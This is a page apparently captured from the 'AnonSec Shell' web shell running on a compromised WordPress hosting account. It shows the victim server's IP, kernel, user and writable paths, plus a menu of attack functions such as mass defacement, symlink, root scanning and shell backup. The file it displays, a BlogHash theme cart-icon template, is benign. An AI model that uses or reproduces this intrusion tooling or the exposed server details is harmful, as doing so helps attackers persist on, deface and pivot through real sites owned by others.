AnonSec Shell
Server IP : 198.54.125.146  /  Your IP : 3.129.128.14   [ Reverse IP ]
Web Server : LiteSpeed
System : Linux business38.web-hosting.com 4.18.0-513.18.1.lve.el8.x86_64 #1 SMP Thu Feb 22 12:55:50 UTC 2024 x86_64
User : engixevu ( 716)
PHP Version : 8.1.31
Disable Function : NONE
Domains : 1 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/engixevu/smartjobbox.com/wp-content/themes/bloghash/woocommerce/cart/header-widget/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /home/engixevu/smartjobbox.com/wp-content/themes/bloghash/woocommerce/cart/header-widget/icon.php
<?php
/**
 * Header Cart Widget icon.
 *
 * @package BlogHash
 */

// Exit if accessed directly.
if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

$bloghash_cart_count = WC()->cart->get_cart_contents_count();
$bloghash_cart_icon  = apply_filters( 'bloghash_wc_cart_widget_icon', 'shopping-cart-2' );

$bloghash_header_widgets = bloghash_option( 'header_widgets' );
$style_for_cart          = '';

foreach ( $bloghash_header_widgets as $widget ) {
	// Check if the widget type is 'cart'
	if ( $widget['type'] === 'cart' ) {
		// Check if 'style' key exists and then access the 'style' from the 'values' array
		if ( isset( $widget['values']['style'] ) ) {
			$style_for_cart = $widget['values']['style'];
		} else {
			// Optionally handle the case where 'style' does not exist
			// For example, you could assign a default style
			$style_for_cart = 'default-style'; // This is just an example, adjust as needed
		}
		break; // Stop the loop if the cart widget is found
	}
}

?>
<a href="<?php echo esc_url( wc_get_cart_url() ); ?>" class="bloghash-cart <?php echo esc_attr( $style_for_cart ); ?>">
	<?php echo bloghash()->icons->get_svg( $bloghash_cart_icon ); // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped ?>
	<?php if ( $bloghash_cart_count > 0 ) { ?>
		<span class="bloghash-cart-count"><?php echo esc_html( $bloghash_cart_count ); ?></span>
	<?php } ?>
</a>

Anon7 - 2022
AnonSec Team